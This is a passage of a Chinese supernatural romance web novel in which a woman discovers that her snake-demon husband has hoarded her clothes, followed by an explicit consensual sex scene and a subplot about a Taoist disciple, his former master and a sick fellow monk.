她帮沈寂换上了舒服的睡衣,扶着他躺到床上,仔仔细细给他盖上了被子,像一只勤劳的小蜜蜂一样绕着他打转。 “怎么样,你好点了吗?” “好多了,就是有一点冷。” “那我再把空调调高一点,或者再给你盖一层被子。” 沈寂突然伸手握住了兰稚青的手,暗示道:“你的身上就很暖和。” 兰稚青闻言愣了一下,她默默钻到被子里抱住了沈寂,试图用自己的体温温暖他,耐心道:“那这样你会好一点吗?” “嗯,暖和多了。” 沈寂蹭了蹭她的脸颊,抱着她缓缓闭上双眼,不出几分钟便已经陷入了沉睡。 他抱得有点太紧了,可是兰稚青却丝毫不敢乱动,直到确认沈寂已经睡熟,她才小心翼翼从他的怀里离开。 按照一般照顾病人的流程,她应该给沈寂煮点粥或者汤之类的,这样既暖胃又好消化。 不过这么长时间没在家里住,家里应该都没菜了。 兰稚青有些忧愁地进了厨房,刚想要感慨巧妇难为无米之炊,可是却发现冰箱里的东西一应俱全,菜也都是新鲜的,上面标签的日期明晃晃写着今天。 ……沈寂不会一早就想搬回来住了吧? 兰稚青心里有点犯嘀咕,她一遍在手机上翻着菜谱一遍在冰箱里寻找用得上的食材,可是却在冰箱的最里面找到了一个奇怪的盒子。 她有些纳闷,打开盒子看了一眼,发现里面没有别的东西,只是放着一把小小的钥匙。 家里都是密码锁,沈寂闲的没事把钥匙放冰箱里做什么? 兰稚青本来想要把钥匙放回去,但是却后知后觉想起来了什么,手上的动作不由得微微一顿。 等一下,家里唯一用得上钥匙的地方,不就是楼上那个神秘的房间吗? 兰稚青面色迟疑,她的脑中闪过了沈寂曾经沾满鲜血的衣服,还有家里神秘消失的菜刀,许多她一直没有深究的问题再度浮出了水面。 而真相,就在她手中这把小小的钥匙上。 兰稚青抿了抿唇,最终还是好奇心战胜了她心中的顾虑,她蹑手蹑脚地拿着钥匙上楼,甚至还特地去观察了一下沈寂的情况,确认过他尚在沉睡才终于放心。 她放轻自己的脚步,小心翼翼把钥匙塞进了锁孔,伴随着一声清脆的咔哒声,一直紧闭的大门突然开启。 兰稚青呼吸变得急促,她迫不及待走进了房间,可是环视了一圈,却只发现了一些熟悉衣物。 她看到了她温暖厚实的superme卫衣,凉爽透气的adibas短袖,材质轻柔的LU围巾,她在地摊上花十块钱买下的minmin发夹,以及她的蜡笔小新秋衣和美羊羊秋裤。 她在家里神秘失踪的东西,现在都整整齐齐地摆在这里。 兰稚青难以置信地后退了一步,却猛然撞到了熟悉的冰冷身体。 沈寂不知道是什么时候过来的,他从后面把兰稚青困在了怀里,他冰凉的唇瓣擦过兰稚青的耳垂,含笑道:“乖乖,原来你躲到这里来了。” 第78章 第78章我厉害吗? “你……为什么……” 兰稚青被沈寂困在怀里,她的声音都在发抖,似乎还不太相信眼前发生的一切。 “没有为什么,我只是想要把它们保存起来,你可以理解为我的占有欲作祟。” 秘密一直藏在心里的时候总是焦灼的,沈寂幻想过无数次被兰稚青发现的场景,可直到现在真相大白时,他才觉得自己前所未有的轻松。 他的手指轻轻触碰着兰稚青的脸颊,幽幽道:“只是可惜时光不能倒流……” 他真是后悔当初遇见的时候没有直接把兰稚青带回去,这样她的生活就会被他无孔不入地渗透,她会对他无比依赖,再也没办法离开他的身边。 如果兰稚青只能看到他一个人,如果她能把所有的爱都留给他该有多好,如果她可以变得小小的,他就能把她时时刻刻带在身边。 沈寂知道兰稚青眼下或许会觉得他是个变态,但是他实在不想再掩饰,他的眼睛渐渐变为竖瞳,兴奋道:“宝宝,你是不是在害怕?你现在讨厌我了吗?” 快说啊。 只要兰稚青说害怕,只要她说她讨厌他,他就可以把兰稚青关起来,什么大白蛇小白蛇的,以后她就只能看着他一条蛇了…… “我为什么要害怕你讨厌你?” 兰稚青眨了眨眼,对沈寂的问题感到疑惑。 沈寂为什么这么大惊小怪,她连自己老公变成百岁蛇妖都接受良好,现在再接受他是个有收集癖的变态不是很简单吗? 她非常诚实地开口道:“我还以为你是在这个房间里藏了你的血衣和菜刀。” 沈寂闻言一怔,奇怪道:“什么血衣菜刀?” 兰稚青皱眉道:“就是之前我看到你藏起来的衬衫,上面沾着血,而且家里的菜刀经常莫名其妙消失不见,难道不是被你藏起来了吗。” “……” 沈寂闻言神色有些迟疑,沉默许久才解释道:“衣服上沾了血是因为我杀鱼的时候溅到的,菜刀是剁排骨的时候不小心剁坏了。” 因为之前聊天的时候兰稚青说自己理想的伴侣是温柔贤惠,工作体面,勤俭持家,出得厅堂下得厨房的人,所以他特地找了一份大学老师的工作,白天去学校上课,晚上还要学烹饪和家务收纳。 但是这个过程中总是会有一点点微小的失误,沈寂以为自己瞒得很好,没想到他的掩饰在兰稚青那里反 倒是成了心虚的证明。 兰稚青闻言难以置信地抬起头,诧异道:“你都活了四百年了才学会做饭吗?” 沈寂点了点头,老老实实回答道:“之前这些事都有厨师和佣人做。” “……” 差点忘了,大小姐有钱就是可以为所欲为。 兰稚青本来想挣脱沈寂的怀抱,但是沈寂抱得极紧,她只能暂时作罢,无奈道:“你把衣服都堆在这里有什么用,闲的没事的时候拿出来盘吗?” “……你不在的时候我可以拿它们搭窝。” 兰稚青的过分淡定让沈寂有些怔愣,他小声道:“上面有你的味道,闻起来香香的。” “……” 兰稚青再度陷入了沉默。 沈寂见兰稚青沉默以为她终于忍无可忍,他眼底划过些许失落,刚刚打算说些什么挽回,可是下一秒兰稚青却不知从哪里来的力气把他推到了旁边的墙上。 兰稚青抓住他的领口迫使他低头与自己平视,她的眼睛亮晶晶的,像是看到了什么天大的宝物。 “你为什么要这么喜欢我?” 她的手指紧紧攥着沈寂的衣领,兴奋道:“你没了我会死掉吗?” 兰稚青很难描述自己现在的感觉,她想或许她自己也是有些病态的,她又想起了自己年少时制作的蝴蝶标本。 蝴蝶漂亮却也灵活,它们张开翅膀飞在半空,她只能眼巴巴看着斑斓的漂亮翅膀在自己眼前飞过,只有它们死亡,她才有机会捡起来做成标本将这份美丽留在自己的身边。 可是现在却不一样,有一只漂亮的,还鲜活灵动的蝴蝶主动飞到她的玻璃罐里。 即使她把罐子的盖子打开,蝴蝶也不会飞走,因为这是完完全全属于她的蝴蝶。 沈寂看到兰稚青的神色明显有些诧异,不过还未等他点头应下,兰稚青就已经迫不及待吻上了他。 她像小狗啃自己刚刚到手的磨牙棒一样对着沈寂一通乱啃乱舔,沈寂早就习惯了她的吻技,甚至颇有几分乐在其中的意思。 “我发现好像更喜欢你了……” 兰稚青气喘吁吁地松开他,她盯着沈寂半响,突然开口道:“你休息好了吗?现在可以做吗?” “……现在?” 沈寂被天上突然砸下来的大馅饼砸得有些发懵,可是兰稚青却已经失去了耐心,她像是一只无尾熊一样攀在沈寂的身上,胡乱扯开了他的睡衣扣子。 “等一下,我们是不是应该换个地方?” “不要,就在这里。” 兰稚青拒绝了沈寂的要求,沈寂闻言一怔,他似乎有些诧异兰稚青今天的大胆,之前都是他死皮赖脸缠着兔兔才能吃到一点点甜头,现在兔兔主动过来敲门问他要不要吃,只有傻子才会拒绝。 他下意识抱紧了兰稚青,低头温柔和她接吻,把兔兔亲得舒舒服服,趁着她迷糊的时候突然改变了策略。 兰稚青猝不及防被沈寂反客为主,突如其来的失重感让她下意识想要抓紧周边的东西,可是却不小心碰到了放在旁边的花瓶,眼见着花瓶就要落在地上,幸好被沈寂眼疾手快地接住才幸免于难。 那可是兰稚青第一次给他送的花插过了花瓶,是他珍贵无比的回忆,幸好没有摔碎。 沈寂心里松了口气,他抱着兰稚青亲了一口,低声道:“乖乖,我们还是换个地方吧。” 虽然他一直以来都很想抱着兰稚青在这里口口口口口口口口口,然后幸福地闻着她的味道和她一起冬眠,但是现在明显还不是合适的时候。 兰稚青不情不愿地哼唧了两声,但还是顺着沈寂的意思答应了下来,整个人挂在沈寂的身上被他抱回了卧室。 沈寂搂住她直接倒在床上,他细细密密地吻着她,恨不得直接把兰稚青融化在自己的怀里。 兰稚青被他亲得迷迷糊糊,听到放在床边沈寂的手机在震动,她下意识推了推他的胳膊,小声道:“有电话……” 沈寂的手摸索着找到她裙子的拉链,随口道:“别管了,又不是什么重要的事情。” 兰稚青扫了一眼手机屏幕上的备注,提醒道:“是你们学校打过来的,还是接一下吧。” 沈寂本来想直接抬手挂断,可是又拗不过兰稚青,只能不情不愿按下了接通键。 “喂,沈老师,不好意思哈午休时间打扰你了。” 电话那头的人听到沈寂接电话明显松了口气,连忙开口道:“沈老师,是这样的,刚刚警察同志给你打了电话但是没有接通,所以拜托我们和你联系一下,你现在方便来一下学校吗?” 兰稚青趁着沈寂打电话的功夫自己拉开了裙子的拉链,奈何沈寂今天给她挑的衣服是贴身的款式,她脱了半天不仅没脱下来,反倒是把自己的头给卡住了。 “帮我一下……” 兰稚青被一团面料给困住实在是不太好脱身,只能向沈寂求救,沈寂把电话开免提放到一旁,抱着兰稚青耐心帮她把衣服脱了下来,随口问道:“院长,我现在有事不太方便,是学院有什么急事吗?” “啊……是这样的,隔壁A大最近不是出了点事吗,那边一个男学生开车把人给撞了,警方这边调查了一通说是这个男生还牵扯了其他命案,沈老师我记得你爱人是不是就是A大的学生来着?” 沈寂盯着面前的兔兔把裙子丢掉了一边,又紧跟着开始摸索起了内衣的扣子,嫩生生的像是一节刚刚挖出来的嫩藕,他呼吸变得有些急促,随口敷衍道:“嗯,我知道这件事。” “警方说这个男生之前在F市也犯下了杀人案,听说受害者还和你们两口子认识,所以打算再录一下口供,核对一下案件细节……” 兔兔胡乱把自己的衣服推到了一边,她趴在沈寂的怀里开始解他的扣子,软绵绵的棉花糖就在自己的眼前晃来晃去,沈寂下意识抓住了它们,对着电话那头敷衍道:“我知道了院长,抽空我会去一趟警局的。” 他毫不犹豫把电话挂断扔到一旁,抱着怀里香喷喷的兔兔,准备美美饱餐一顿。 兔兔今天难得高度配合,他都不知道自己应该从哪里开始比较好了。 沈寂轻轻揉了揉兔兔,准备先让兔兔先变成湿兔兔,这样一会儿他就可以把兔兔从里到外都吃一边。 可是兰稚青却突然挣扎地躲开了他的手,她坐在沈寂的腿上,盯着他半响,突然开口道:“今天我要在上面。” 沈寂闻言眨了眨眼,他主动做了一个请的手势,老老实实听从兰稚青的摆布。 兰稚青学着沈寂之前的样子对他亲亲摸摸,顺便还要执着问道:“我厉害吗?” 沈寂帮她调整了一下姿势,非常配合地夸奖道:“好厉害。” 兰稚青信心大增,她决心今天一定要在床上一展雌风,让沈寂心服口服。 她一巴掌拍在了沈寂的锁骨上,命令道:“不准乱动,我说什么你就做什么。” “知道了,我都听你的。” 沈寂非常温顺地任由兰稚青动作,兰稚青坐在他身上上上下下,不知道又碰到了什么地方,哼唧了一声又软在了沈寂怀里,还不忘追问道:“舒服吗?” “……嗯,好舒服。” 沈寂侧头看了一眼时间,神色隐隐有些欲言又止。 三分二十秒。 他本来以为这是开始,没想到兰稚青已经结束了。 算了,三分钟也已经很厉害了。 第79章 第79章以后手机都不准进卧室!…… 有的时候,在床上也是需要一点演技的。 太过诚实很有可能会打击到伴侣的自尊心,导致对方从此一蹶不振。 为了不让兰稚青从此丧失信心,沈寂觉得自己算得上拿出了自己毕生的演技。 “宝宝,你真的好厉害,刚刚坚持了十多分钟呢。” 脱衣服脱了五分钟,乱七八糟的前戏五分钟,实际行动三分钟,加起来勉强算得上十多分钟。 兰稚青闻言有些惊喜,“真的吗?我这次有这么久吗?” 沈寂面不改色心不跳地撒谎,“当然是真的了,以后都让你在上面好不好?” 兰稚青被他哄得五迷三道,但凡她真的有个尾巴估计已经得意地翘上天了,她趴在沈寂的身上喘匀了气,斗志昂扬地又坐了起来。 “那我再来一次。” “……” 算了,她高兴就好。 沈寂打算先熬到兔兔没力气了再说,以他对兰稚青的了解,最多不超过十分钟她就结束了,到时候轮到他开饭了。 可是兰稚青这次却一直没有动,她陷入了诡异的沉默,眼睛直勾勾地盯 着他,像是在思考什么重大的事情。 沈寂以为是自己哪里露出了破绽,所以下意识开口询问,“怎么了乖乖……唔。” 他剩下没说完的话化为了一声闷哼。 沈寂难以置信地看向兰稚青,兰稚青默默收回了自己的手,无辜道:“不可以打吗?” 她这都是跟沈寂学的,谁让沈寂之前打她那里的,她现在不过是原路奉还而已。 “……可以。” 沈寂眼底的震惊逐渐转变成兴味,他静静等待着兰稚青接下来的动作。 兰稚青见沈寂这么淡定倒是愣了一下,她思索了片刻,又凑过去恶狠狠啃了沈寂几口,直接在他的脖子锁骨上留下显眼的牙印。 沈寂对此完全接受良好,甚至还特地调整了一下自己的姿势,好让兰稚青咬得时候更加轻松一些。 兰稚青本来只是想点到为止,可是沈寂过分淡定的态度却让她燃起了熊熊的斗志,打定主意要让他吃瘪,学着之前沈寂的做法对他又吸又咬。 沈寂挑了挑眉,他不仅没有把兰稚青推开,反而是顺势摸了摸她的头发,语气里带着若有若无的笑意。 “乖宝宝,Daddy可没有办法给你喂奶。” “闭嘴!” 兰稚青一回生二回熟,直接又甩了沈寂一巴掌。 沈寂这次确实是安静了,兰稚青坐在他身上调整了一下自己的姿势,她努力让自己保持冷静,给自己找了个最舒服的角度。 沈寂下意识侧头看了一眼时钟,好整以暇地等着兔兔大人一展雌风。 兔兔大人这次像是找到了窍门,不像是之前笨笨地只知道在他身上扭来扭去,她找到了最适合自己的节奏,慢吞吞地磨蹭过来磨蹭过去,时不时还观察一下沈寂的表情。 沈寂最开始还能配合地摆出一副拜倒在兔兔大人的高超技巧下的表情,可是随着兰稚青磨洋工一样磨蹭,他的耐心终于消耗殆尽。 兰稚青觉得自己马上又要结束了,她的大腿都轻轻颤抖起来,可是偏偏就是过山车即将冲上高峰的瞬间,沈寂突然反客为主把她压在了床上。 “……嗯?” 兰稚青一时间还没有反应过来,卡在中途不上不下的感觉实在有点不太好受,她下意识想要去蹭沈寂,可是却被沈寂按住。 “你干什么!” 兰稚青有些气恼,她下意识想要去踹沈寂,可是小腿却又被沈寂握住。 沈寂不打算惹兔兔生气,他耐心揉了揉兔兔,力求让兔兔客户满意。 兔兔本来还想发火,可是很快又在她的手上化成了一滩兔兔饼,夹心的内馅轻轻咬一口就会流出来。 兰稚青觉得自己脑中紧绷的一根弦轻轻断开,她被这股压力打到,整个人都忍不住打了个哆嗦,大脑在一瞬间陷入了空白。 “乖乖,舒服吗?” 沈寂手指暗示性地上滑,最后轻轻擦过了她的脖颈,突然开口道:“你的脖子这么漂亮,应该戴珍珠项链,这样才会和衣服比较搭。” “……什么?” 兰稚青还没有反应过来,她细细平复着自己的呼吸,闻言还有些茫然,“你在说什么珍珠项链?” “没什么,只是在想你穿黑裙子的时候戴珍珠项链。” 沈寂看起来不太想继续这个话题,他刚刚已经服务过了兔兔客人,现在应该轮到他开饭了才对。 他把兰稚青抱进了怀里,唇瓣擦过她的锁骨,兰稚青现在没力气和他计较,她余光瞥到了沈寂放在一旁的手机,含糊不清道:“手机……你的手机又来电话了。” “不用管它,一天到晚这么烦人。” 沈寂随手拿过了手机,看到上面纪云飞的名字干脆直接把手机关机,转头又对可怜的兔兔露出了狰狞的面孔。 “……关机了?” 纪云飞难以置信地听着电话那头冰冷的机械女生,他有些烦躁地轻啧了一声,转头对旁边正在嗑瓜子的王阿婆确认道:“奶奶,你刚刚说的事是真的吗?你没看错吧?” “这还能有假的,你奶奶还没到老眼昏花的地步,怎么可能会看错。” 王阿婆吐出了嘴里的瓜子皮,肯定道:“就是之前那个小姑娘和他老公,今天又跑到天桥底下找人算命,那边新来了个半吊子,没给人家算出来不说,反而是被那个小姑娘老公排揎了一通。” 纪云飞眉头紧皱,通过王阿婆的描述,他基本可以确定,那个新来的算命的就是正泽大师。 他了解老头子对长生不老的狂热和执念,他花费了十五年的时间寻找,现在好不容易找到了沈寂,绝对不会轻易善罢甘休。 正泽大师能被称为大师,自然是有他的过人之处,哪怕是不能像电视里那样捉妖降鬼,也总是有几件压箱底的宝贝的。 纪云飞虽然一直抱怨老头子想吃千年蛇妖的肉就是在找死,可是他的心里也实在有些打鼓。 纪云飞越想越烦,只能像只无头苍蝇一样在家里不停踱步,王阿婆看得心烦,只能开口询问:“云飞,你这又是怎么了,我可是和你实话实说的,我这回可没拿那个小姑娘的钱,而且算命也不是我算的。” “奶奶,我烦的不是这件事……” 纪云飞实在是满腔惆怅无处抒发,只能坐到王阿婆的对面,思索片刻开口道:“是这样的,你今天遇到的那个算命的老头,他是我的师父,就是白龙山的正泽大师。” “啊?” 王阿婆闻言吓了一跳,结结巴巴道:“这事你怎么不早说,我还当着人家的面说了他的坏话,他不会在背后扎我小人给我下咒之类的吧?” “什么?” 纪云飞闻言愣了一下,难以置信道:“您都说什么了?” “也没说什么啊,就是说他把你赶出来了,说他心肠坏。” 王阿婆撇了撇嘴,嘴硬道:“而且我也没说错啊,你在他那里待了三年和当护工差不多了,他说把你撵走就把你撵走,现在单位公司开除个人还有N+1补偿呢。” “……算了,您说的也没错。” 纪云飞想到自己找么多年为了正泽大师跑上跑下,到最后还要被怀疑要吃蛇肉长生不老。 他有些沮丧地叹了口气,继续说道:“之前找您算命的小姑娘叫兰稚青,她老公叫沈寂,现在算是我的老板吧……” “老板?” 王阿婆闻言有些咂舌,连忙拍大腿道:“怪不得,我看他手上戴的手表都是镶钻的,一看就是个有钱的。” “但是现在有一个问题,这个正泽大师呢,他和沈寂有仇,如果非要让我选一个帮的,您觉得我选谁?” “这还用说,当然是选你们老板啊。” 王阿婆瞪了纪云飞一眼,没好气道:“你脑子坏了去选那个老头?” “可是沈寂也不是个善茬……” “不是善茬怎么了,你还指望帮了那个老头,你动动你的脑子,想想你是怎么被赶出来的,没了情分,当然是谁给钱就帮谁。” 纪云飞闻言若有所思。 他奶奶话糙理不糙,这世上的事的确没人能说得准,万一老头子真的走了狗屎运,万一沈寂真的轻敌被杀了,那该怎么办? 别的他暂且不说,首先他和正泽大师已经闹掰,老头子一朝夙愿得成,十有八九不 会放过他这个逆徒。 再来沈寂那319条的修改建议他已经改了三分之一了,万一沈寂死了,他的尾款谁来结啊?! 纪云飞越想越觉得这件事不容小觑,这种关乎到未来财运的事情可是片刻都不能马虎的。 沈寂的手机打不通,纪云飞左思右想,又转而给兰稚青打去了电话。 反正他们两个总在一起,让兰稚青转达也是一样的。 兰稚青被沈寂的动作逼出了眼泪,她觉得自己就像是一叶小舟漂泊在大海里,本来以为天气晴朗风平浪静,没想到下一秒自己连人带舟都被鲸鱼给吞了下去。 “宝贝,不可以这样的,刚刚你不还是很厉害的吗?” 沈寂揉了揉兔兔,在兔兔刚刚放松警惕的瞬间指尖用力,有些不赞同地开口道:“你应该继续保持才对。” “不要厉害了……我不要厉害了……” 兰稚青徒劳地挣扎了几下,整个人都像是软了骨头一样,直到熟悉的手机铃声突然响起,她才找到了自己可以脱身的机会。 “手机……我的手机响了!” 兰稚青试图推开沈寂,可怜巴巴道:“你放开我,我要去接电话。” 沈寂闻言扫了一眼兰稚青的手机,看到屏幕上熟悉的名字忍不住轻啧了一声。 该死的绿毛道士,一天到晚闲得脑子抽了到处打电话,怎么不去当电话客服啊。 他迟早要让兰稚青把这个脑残给拉黑了。 不对,以后手机都不准进卧室! 第80章 第80章你们蛇也有白内障吗 纪云飞最终还是没有打通兰稚青的电话,不仅如此,他的邮箱里还收到了沈寂发来了319条修改意见。 【老板,这些我已经开始改了,目前进度三分之一,预估下个月就可以完稿。】 【这是我重新补充的319条。】 【……】 神经病啊! 纪云飞气得差点没把手机给摔在地上,他现在算是彻底确定了,沈寂这次就是在耍他。 他最开始小说设置的男主人公性格阴险狡诈不择手段。 沈寂说不行,要让他改成貌美如花出得厅堂下得厨房牢牢抓住老婆心的贤惠人夫。 纪云飞为了钱,硬生生把好好的悬疑小说改成爱情小说。 可是沈寂还不满意,他这回提出来的新意见,要求纪云飞把男主的形象写出三分贤惠,四分貌美,五分温柔多情,六分含情脉脉,一定要把女主迷得死心塌地,再也不出去找别的蛇。 先不说三加四加五加六根本也凑不出一个扇形统计图,上次发过来的修改意见第319条不是说了文里不让提蛇吗?! 可是沈寂不管,他只负责出钱,怎么把小说写得不提蛇字但是处处有蛇那是纪云飞的事情。 纪云飞气得恨不得在家里撞墙,沈寂有空在这里给他发邮件写修改意见,但是却没空接他一个电话。 但凡不是因为沈寂给的实在太多了,他都要写万字长邮件痛骂他的祖宗十八辈。 眼见着沈寂是没有什么想要和他联系的意思,纪云飞只能把重点放在正泽大师的身上,他现在的确没办法再回白龙山道观,可是和他交好的李师兄还在那里,他完全可以请李师兄帮忙。 纪云飞是个实打实的行动派,他既然这么想了,自然也不会继续耽误,第一时间就给李师兄打去了电话。 “云飞?你怎么突然打电话过来了?” 李师兄听到纪云飞的声音明显很是惊喜,压低声音道:“你先等一下,我出去和你说。” 纪云飞听到电话那头人声喧闹,纳闷道:“你现在不在道观里吗?” “我和两个师兄下山摆摊了。” 李师兄走到了一处僻静地方,他长叹了一口气,也不打算多瞒纪云飞,实话实说道:“你也知道,我们当道士的都没啥钱,本来我们吃住都在山上,虽然每个月赚的少,但是至少也够花了。” “但是最近道观在整修,我们的单费每个月减了三百,而且你走了之后,说实话……我们也没什么赚外快的渠道。” 纪云飞年纪小,会玩互联网,从前经常帮大家介绍客源,他大学读的是兽医,现在宠物行业这么发达,大家都是把猫猫狗狗当孩子看的,家里养的毛孩子过世了,有不少人愿意花几百块钱请个道士过来帮它们祈福超度,也算是给自己一个心理安慰。 纪云飞的同学有一大半都在宠物这个行业,他也不吝啬,有钱大家一起赚,靠着纪云飞的帮忙,虽然他们每个月单费不多,但是日子过得也挺滋润的。 李师兄看了一眼不远处的摊位,低声道:“其实我倒是没事,有钱没钱都是一样过,可是林师兄就不太好了,他前两年做了手术之后身体就一直不好,他家里人又都没了,不算检查的费用,每个月药钱也不是一笔小数目。” 道士爱财吗,当然爱。 人只要怕死,那就要爱财,因为没钱就只能等死。 纪云飞眉头紧皱,开口问道:“师父他……正泽大师,这件事情他应该也知道吧,他怎么也不管管?” 电话那头的李师兄嗤笑了一声,失望道:“对啊,他怎么也不管管……” 正泽大师并不差钱,他名声在外,多的是人求着他去算命,就好比之前路家夫妇请他过去商场的风水,光是那一次就付了两百万。 他们这些人跟着跑上跑下,到最后到手里的也就可怜巴巴的一千块钱。 正泽大师在山下买了别墅和豪车,他空着的别墅一个月光是物业费估计都要成千上万,可是给弟子的钱却像是在打发乞丐。 “云飞,我说真的,你走真的是太对了。” 李师兄有些感慨地又叹了口气,低声道:“我这两天想了想,也想换个地方重新开始,不过其他的几位师兄还是太固执。” 他上山修道的原因是因为年少时被抑郁症所困扰,后来大学还没读完就下定决心修道养心,借此逃离生活的困境。 可是山上的另外几个师兄却不一样,他们大多父母双亡妻离子散,本来就已经没有家了,在白龙山待了这么多年,自然也轻易割舍不掉,更何况他们真的把正泽大师当神仙一样看待,即使这个所谓的“神仙”自私无情,他们也不愿意做出忤逆正泽大师的事情。 “师兄,你要是下山的话可以来我们家,我家别的不说,我奶奶的手艺绝对比道观里的要好。” “你要是这么说那我可一定得过去尝尝了。” 李师兄因为纪云飞的话心里稍觉安慰,他笑了笑,又问道:“光顾着说我的事了,我还没来得及问你,你这次打电话过来是不是有事要我帮忙啊?” “这你都猜得到?神算子啊。” “少在这里贫,你是东西忘带了还是又有朋友要来道观里玩?” “都不是,我是想和你打听一下老头子最近的情况。” “他能有什么情况,现在变年轻了吃嘛嘛香,几个师兄像是伺候祖宗一样伺候他,小日子过得别提有多滋润了。” 李师兄提起正泽大师就有些鄙夷,他问道:“怎么了?你还真怕他给你下咒吗?他可惜命的很,我估计着下咒倒是不可能,这也损他自己的气运,最多可能就是和之前认识的大老板联系联系,给你找找茬。” “这事一时半会儿也说不清楚,反正师兄你先帮我留意着,有事一定要及时给我打电话。” 纪云飞随便扯了个借口先把李师兄糊弄了过去,挂断电话后他犹豫再三,还是给沈寂发去了一封邮件,说明了一下现在的情况。 然而沈寂根本连看都懒得看,他抱着他香喷喷软绵绵的兔兔老婆心满意足地躺在床上,只觉得自己这阵子以来的郁结完全一扫而空。 他亲了亲兰稚青的耳朵,没忍住又亲了亲她的脸颊,再没忍住又亲了她的嘴,接着还没忍住…… “不要亲了,我真的累了!” 本来准备睡觉的兰稚青被沈寂亲烦了,她伸手想要推开他,结果反而被沈寂抓住手亲了手心。 兰稚青忍无可忍,她睁开眼睛想要骂人,可是看到沈寂的样子突然一怔。 沈寂现在不仅脸色苍白毫无血色,就连眼睛都开始微微泛起了灰白的颜色,他的体温很低,看起来似乎格外的脆弱。 “这是怎么了,你是不是真的生病了?” 兰稚青连忙坐了起来,她捧起了沈寂的脸颊,仔细端详着他的眼睛,“你的眼睛怎么都开始变色了,你们蛇也会有白内障吗?” “……不是白内障。” 沈寂握住了她的手,温声道:“只是我马上要蜕皮了而已。” “蜕皮?” 兰稚青闻言一怔,她眨了 眨眼,一时间有些手足无措,“那……那我能帮你做点什么吗?” 她在认识沈寂之前从来没有养过蛇,对于蛇的了解也仅限于互联网,明明是沈寂需要蜕皮,可是现在却好像紧张的人变成了她。 “你要在哪里蜕皮,什么时候啊,需不需要我给你布置个房间,我能在旁边陪着你吗,不会有什么危险吧……” 兰稚青絮絮叨叨的话才说到一半,沈寂就已经抬手捂住了她的嘴,他弯了弯眉眼,温声道:“这些都不需要你来做,你唯一需要做的事情就是三天之后打扮得漂漂亮亮的来参加我的葬礼。” “葬……葬礼?” 兰稚青闻言顿时呆在了原地,她眨了眨眼,眼泪直接猝不及防砸了下来。 “你要死了吗,蜕皮就是要死掉了吗,可是我怎么办,你死掉了我怎么办……” 沈寂还没来得及解释清楚就被兰稚青给哭懵了,他只是先把兰稚青抱到怀里先平复她的情绪,耐心解释道:“不会死掉的,只是趁着这个机会换一个身份重新生活。” “你之前不是问过我活了这么多年怎么不被别人发现了,就是要在差不多的年纪当众假死一下,毕竟现在互联网比较发达,不死的话确实有被人发现秘密的风险。” 沈寂顿了顿,思考道:“第一次我是跳海死的,第二次是喝毒药,第三次是车祸,这次我还没有想好。” 兰稚青闻言终于止住了哭声,她眼里还含着眼泪,可怜巴巴确认道:“真的吗?” “当然是真的啊,死了正好还不用去学校上课,事情结束之后我们就可以去度假了。” “可是还没有毕业答辩……” “那我们就晚点出发,先毕业再说。” 沈寂本来是想用一种轻松的方式说出来的,可是没想到兰稚青这么敏感,他没办法,只能试图岔开话题,“对了,我刚刚好像听到手机在响,是不是有人发了消息过来……” 兰稚青吸了吸鼻子,小声道:“可是你几个小时前不是就把手机都扔出去了吗?” “……我的听力比较好,刚刚有听到声音。” 沈寂亲了亲兰稚青的脸颊,温声道:“去把脸先洗干净,我去拿冰袋帮你敷一下眼睛。” 兰稚青默默从床上起身,沈寂本来想拿了冰袋就直接上楼,没想到扫了一眼手机却发现纪云飞真的给他发了邮件。 沈寂点开邮件看了一眼,他本来以为是纪云飞对那319条建议的不满,没想到纪云飞发来的却是好心提醒。 “正泽大师黄义则……” 沈寂盯着纪云飞传来的资料若有所思。 是上一次趁着他蜕皮偷袭他的人类。 要不这次就让他帮一下忙吧。 80-88 第81章 第81章我想我一定会痊愈的 “林师兄……林师兄,你等一等。” 李师兄眼见着对方走过,连忙快步追上了他的脚步,关心道:“怎么样,这两天你身体好点了吗。” 林师兄已年过四十,一个人孤苦无依,其他人看着也觉得心凉,这两天他们帮着凑了一点钱,李师兄联系了一下自己从前的客户,倒是弄来了药,虽然大部分都是临期的,但价格上也极为优惠,足够林师兄再吃一段时间了。 “吃了你给的药倒是舒服多了。” 林师兄性格温吞和善,闻言连忙和他道谢,可是苍白的脸色和一瘸一拐的动作还是暴露了他真实的状态。 “师兄,你要是实在撑不住的话……不如还是和师父提一下吧。” 李师兄犹豫再三,还是说出了自己心中的顾虑,“上次去医院的时候医生也说了,你这种情况迟早要二次手术的。” “还是算了,手术又得花上不少钱。” 林师兄有些犹豫,又说道:“而且师父说了让我最近别下山。” “那一直这样熬着也不是事吧?” 李师兄皱了皱眉,开口道:“那要不这样,你再去问问师父,就说我和你一起,我们去医院做个检查,要是情况好我们就保守治疗,情况不好我们再想其他办法。” “可是……这样是不是太麻烦你了?” “这有什么麻烦的,正好我下山有事要做,都是顺路的事。” 李师兄把林师兄半推着去后山找正泽大师,眼见着他人走远了,这才给纪云飞打去了电话。 “云飞,我和林师兄下午下山去医院做检查。” 李师兄顿了顿,试探问道:“这件事真的不用让林师兄知道吗,他的医药费你帮着出了一大半,这可不是一笔小钱。” 林师兄脾气好,又乐于助人,在道观里人缘极好,大家帮他凑钱也都是尽力而为,只是像纪云飞这样给这么多的实在是少见。 不过纪云飞刚来道观的时候就是和林师兄住在一起的,估计那个时候也得了林师兄不少照顾,所以现在才会这么出手相助。 “没事,先别告诉他了,林师兄瞒不住事,要是让别人知道他和我有往来,保不齐又会出什么麻烦事。” 纪云飞叹了口气,补充道:“你们随时和我联系,要是检查的钱不够的话,我再给你们打一点过去。” “你小子最近是真发财了?” 李师兄闻言吓了一跳,他诧异道:“你哪来这么多钱,写小说真写火了?” “可拉倒吧,一天到晚没日没夜给资本家改稿。” 纪云飞麻木敲着手里的键盘,越写越烦躁,恨不得现在直接把电脑给砸了。 沈寂简直就是个神经病,他现在严重怀疑沈寂就是故意找个借口过来折磨他的。 奴隶主在他面前都要自叹不如,沈寂坚持就像是个机器人一样,完全不需要有休息的时间,他甚至半夜三点给他打电话把他改好的稿子骂得狗血淋头。 李师兄目前是理解不了纪云飞的绝望,他听到有人在喊他的名字,只能匆匆和纪云飞说了几句便挂断了电话。 纪云飞甚至还没来得及问一问正泽大师近来的情况,见此也只能暂时作罢。 正泽大师近来一直都待在后山,林师兄过去的时候心里做了好一番准备。 他自从家人丧命之后便来到了这里,算算已经快要有十年的时间了,在这十年里他和自己这位师父接触倒确实算不上多,可是对他的敬畏却没有丝毫的改变。 他是个彻底的唯心主义者,他相信这个世界上是有鬼魂存在的,他数十年如一日地为家人祝祷祈福,虔诚而又执着。 “师父。” 